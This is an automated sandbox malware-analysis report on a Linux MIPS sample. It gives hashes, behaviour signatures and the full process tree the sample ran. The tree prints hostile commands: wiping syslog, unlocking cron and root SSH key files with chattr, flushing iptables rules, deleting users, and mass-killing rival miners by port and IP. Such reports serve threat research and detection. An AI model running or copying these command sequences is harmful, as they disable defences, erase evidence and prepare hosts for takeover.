5db035748dfe4e98c21333ffe337e15cd4d8ae517fe69d18932a34951e27c8ac

Analysis

max time kernel
150s
max time network
15s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10-07-2024 00:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

32a30f66357df628722b04a97de6a145_JaffaCakes118
Size

30KB
MD5

32a30f66357df628722b04a97de6a145
SHA1

381e82ee576e535463f4917dcf4d0ddb1bce5be2
SHA256

5db035748dfe4e98c21333ffe337e15cd4d8ae517fe69d18932a34951e27c8ac
SHA512

2eba41598a178936eb2ada59bdda10e532d55e157fb573d1f011d0ae0c2c9247c71b1bf86990f32a50e38fa19426283cb11a314568475a1b41db4a34d677772e
SSDEEP

384:p7pQBDf6jlpTWg3vMGQiirhHwMyGj4CC9vEKMvU/4Qdre21jT58vKpG2Y0orcfKU:p78zQ5VFNcDAFLcIwgnoYq0xFBVdHt7n

Score

7^/10

Malware Config

Signatures

Flushes firewall rules 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
721	iptables

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
760	grep
816	xargs
846	xargs
1020	xargs
1360	xargs
719	chattr
936	xargs
984	xargs
999	xargs
1079	xargs
1287	xargs
1477	xargs
1167	xargs
1338	xargs
1052	xargs
1058	xargs
1250	xargs
1431	xargs
1461	xargs
1033	xargs
1300	xargs
1382	xargs
972	xargs
978	xargs
1006	xargs
1355	xargs
1132	xargs
717	chattr
768	xargs
822	xargs
875	xargs
879	xargs
1101	xargs
1126	xargs
1211	xargs
756	grep
887	xargs
1071	xargs
1350	xargs
864	xargs
1187	xargs
1223	xargs
1265	xargs
1393	xargs
1046	xargs
1436	xargs
798	xargs
1115	xargs
1272	xargs
965	xargs
1095	xargs
1326	xargs
1456	xargs
1471	xargs
840	xargs
873	xargs
1120	xargs
1404	xargs
834	xargs
871	xargs
1344	xargs
710	chattr
1039	xargs
1235	xargs

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/704/cmdline	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/344/cmdline	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/344/cmdline	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/384/stat	ps
File opened for reading	/proc/473/status	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/1310/cmdline	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/344/stat	ps
File opened for reading	/proc/80/status	ps
File opened for reading	/proc/686/cmdline	pkill
File opened for reading	/proc/78/cmdline	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/1328/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/522/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/73/stat	ps
File opened for reading	/proc/704/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/905/stat	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/115/status	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/383/status	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/344/status	ps
File opened for reading	/proc/69/status	ps
File opened for reading	/proc/935/status	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/344/cmdline	ps
File opened for reading	/proc/1381/stat	ps
File opened for reading	/proc/344/cmdline	pkill
File opened for reading	/proc/105/stat	ps
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/373/stat	ps
File opened for reading	/proc/150/stat	ps
File opened for reading	/proc/36/stat	ps
File opened for reading	/proc/344/status	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/337/cmdline	ps
File opened for reading	/proc/707/status	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/stat	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/36/cmdline	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	32a30f66357df628722b04a97de6a145_JaffaCakes118

/tmp/32a30f66357df628722b04a97de6a145_JaffaCakes118
/tmp/32a30f66357df628722b04a97de6a145_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:707
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:708
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:710
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:714
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:717
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:719
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:721
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:726
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:735
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sRJh0-0000Br-PV
      4⤵
      Reads CPU attributes
      PID:749
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:739
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sRJh0-0000Bv-Pq
      4⤵
      PID:750
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:741
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:743
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:744
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:746
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:748
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:751
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:752
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:754
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:756
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:755
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:760
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:759
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:765
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:766
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:767
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:768
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:771
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:770
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:773
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:776
- /bin/grep
  grep :143
  2⤵
  PID:775
- /bin/grep
  grep -v -
  2⤵
  PID:778
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:777
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:779
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:783
- /bin/grep
  grep :2222
  2⤵
  PID:782
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:784
- /bin/grep
  grep -v -
  2⤵
  PID:785
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:786
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:789
- /bin/grep
  grep :3333
  2⤵
  PID:788
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:790
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:792
- /bin/grep
  grep -v -
  2⤵
  PID:791
- /bin/grep
  grep :3389
  2⤵
  PID:794
- /bin/grep
  grep -v -
  2⤵
  PID:797
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:798
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:795
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:796
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:802
- /bin/grep
  grep -v -
  2⤵
  PID:803
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:801
- /bin/grep
  grep :4444
  2⤵
  PID:800
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:804
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:807
- /bin/grep
  grep :5555
  2⤵
  PID:806
- /bin/grep
  grep -v -
  2⤵
  PID:809
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:808
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:810
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:813
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:814
- /bin/grep
  grep :6666
  2⤵
  PID:812
- /bin/grep
  grep -v -
  2⤵
  PID:815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:816
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:820
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:819
- /bin/grep
  grep :6665
  2⤵
  PID:818
- /bin/grep
  grep -v -
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:822
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:825
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:826
- /bin/grep
  grep :6667
  2⤵
  PID:824
- /bin/grep
  grep -v -
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:828
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:831
- /bin/grep
  grep :7777
  2⤵
  PID:830
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:832
- /bin/grep
  grep -v -
  2⤵
  PID:833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:834
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:837
- /bin/grep
  grep :8444
  2⤵
  PID:836
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:838
- /bin/grep
  grep -v -
  2⤵
  PID:839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:840
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:843
- /bin/grep
  grep :3347
  2⤵
  PID:842
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:844
- /bin/grep
  grep -v -
  2⤵
  PID:845
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:846
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:849
- /bin/grep
  grep :14444
  2⤵
  PID:848
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:850
- /bin/grep
  grep -v -
  2⤵
  PID:851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:852
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:855
- /bin/grep
  grep :14433
  2⤵
  PID:854
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:856
- /bin/grep
  grep -v -
  2⤵
  PID:857
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:858
- /bin/grep
  grep :13531
  2⤵
  PID:860
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:861
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:862
- /bin/grep
  grep -v -
  2⤵
  PID:863
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:864
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:868
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:869
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:871
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:870
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:873
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:872
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:875
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:874
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:877
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:876
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:879
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:878
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads runtime system information
  PID:880
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:881
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:882
- /bin/grep
  grep -v grep
  2⤵
  PID:885
- /bin/grep
  grep ./oka
  2⤵
  PID:884
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:883
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:886
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:887
- /bin/grep
  grep -v grep
  2⤵
  PID:890
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:889
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:891
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:888
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:892
- /bin/grep
  grep -v bin
  2⤵
  PID:895
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:894
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:893
- /bin/grep
  grep -v "\\["
  2⤵
  PID:896
- /bin/grep
  grep -v "("
  2⤵
  PID:897
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:898
- /bin/grep
  grep -v proxymap
  2⤵
  PID:899
- /bin/grep
  grep -v postgres
  2⤵
  PID:900
- /bin/grep
  grep -v postgrey
  2⤵
  PID:901
- /bin/grep
  grep -v kinsing
  2⤵
  PID:902
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:903
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:904
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:906
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:905
- /bin/grep
  grep -v bin
  2⤵
  PID:907
- /bin/grep
  grep -v "\\["
  2⤵
  PID:908
- /bin/grep
  grep -v "("
  2⤵
  PID:909
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:910
- /bin/grep
  grep -v proxymap
  2⤵
  PID:911
- /bin/grep
  grep -v postgres
  2⤵
  PID:912
- /bin/grep
  grep -v postgrey
  2⤵
  PID:913
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:914
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:915
- /bin/grep
  grep -v bin
  2⤵
  PID:918
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:917
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:916
- /bin/grep
  grep -v "\\["
  2⤵
  PID:919
- /bin/grep
  grep -v "("
  2⤵
  PID:920
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:921
- /bin/grep
  grep -v proxymap
  2⤵
  PID:922
- /bin/grep
  grep -v postgres
  2⤵
  PID:923
- /bin/grep
  grep -v postgrey
  2⤵
  PID:924
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:925
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:926
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:930
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:929
- /bin/grep
  grep -v grep
  2⤵
  PID:928
- /bin/ps
  ps aux
  2⤵
  PID:927
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:931
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:935
- /bin/grep
  grep -v grep
  2⤵
  PID:934
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:933
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:936
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:932
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:940
- /bin/grep
  grep -v grep
  2⤵
  PID:939
- /bin/grep
  grep ./crun
  2⤵
  PID:938
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:941
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:937
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:945
- /bin/grep
  grep -v grep
  2⤵
  PID:944
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:943
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:946
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:942
- /bin/grep
  grep :3333
  2⤵
  PID:950
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:951
- /bin/grep
  grep -v grep
  2⤵
  PID:949
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:952
- /bin/ps
  ps aux
  2⤵
  PID:948
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:957
- /bin/grep
  grep :5555
  2⤵
  PID:956
- /bin/grep
  grep -v grep
  2⤵
  PID:955
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:958
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:954
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:964
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:963
- /bin/grep
  grep -v grep
  2⤵
  PID:962
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:965
- /bin/ps
  ps aux
  2⤵
  PID:961
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:971
- /bin/grep
  grep log_
  2⤵
  PID:970
- /bin/grep
  grep -v grep
  2⤵
  PID:969
- /bin/ps
  ps aux
  2⤵
  PID:968
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:972
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:977
- /bin/grep
  grep systemten
  2⤵
  PID:976
- /bin/grep
  grep -v grep
  2⤵
  PID:975
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:978
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:974
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:983
- /bin/grep
  grep netns
  2⤵
  PID:982
- /bin/grep
  grep -v grep
  2⤵
  PID:981
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:984
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:987
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:987
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:987
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:987
- - /sbin/kill
    kill -9 10
    3⤵
    PID:987
- - /bin/kill
    kill -9 10
    3⤵
    - Reads CPU attributes
    PID:987
- /bin/ps
  ps aux
  2⤵
  PID:980
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:992
- /bin/grep
  grep voltuned
  2⤵
  PID:991
- /bin/grep
  grep -v grep
  2⤵
  PID:990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:993
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:998
- /bin/grep
  grep darwin
  2⤵
  PID:997
- /bin/grep
  grep -v grep
  2⤵
  PID:996
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:999
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:995
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1005
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1004
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1006
- /bin/grep
  grep -v grep
  2⤵
  PID:1003
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1002
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1011
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1012
- /bin/grep
  grep -v grep
  2⤵
  PID:1010
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1013
- /bin/ps
  ps aux
  2⤵
  PID:1009
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1019
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1018
- /bin/grep
  grep -v grep
  2⤵
  PID:1017
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1020
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1016
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1024
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1025
- /bin/grep
  grep -v grep
  2⤵
  PID:1023
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1026
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1032
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1031
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1033
- /bin/grep
  grep -v grep
  2⤵
  PID:1030
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1029
- /bin/grep
  grep -v grep
  2⤵
  PID:1036
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1038
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1039
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1037
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1035
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1045
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1044
- /bin/grep
  grep -v grep
  2⤵
  PID:1043
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1046
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1042
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1051
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1050
- /bin/grep
  grep -v grep
  2⤵
  PID:1049
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1052
- /bin/ps
  ps aux
  2⤵
  PID:1048
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1054
- /bin/grep
  grep -v grep
  2⤵
  PID:1055
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1056
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1057
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1058
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1064
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1063
- /bin/grep
  grep -v grep
  2⤵
  PID:1062
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1065
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1061
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1070
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1071
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1069
- /bin/grep
  grep -v grep
  2⤵
  PID:1068
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1067
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1078
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1077
- /bin/grep
  grep -v grep
  2⤵
  PID:1076
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
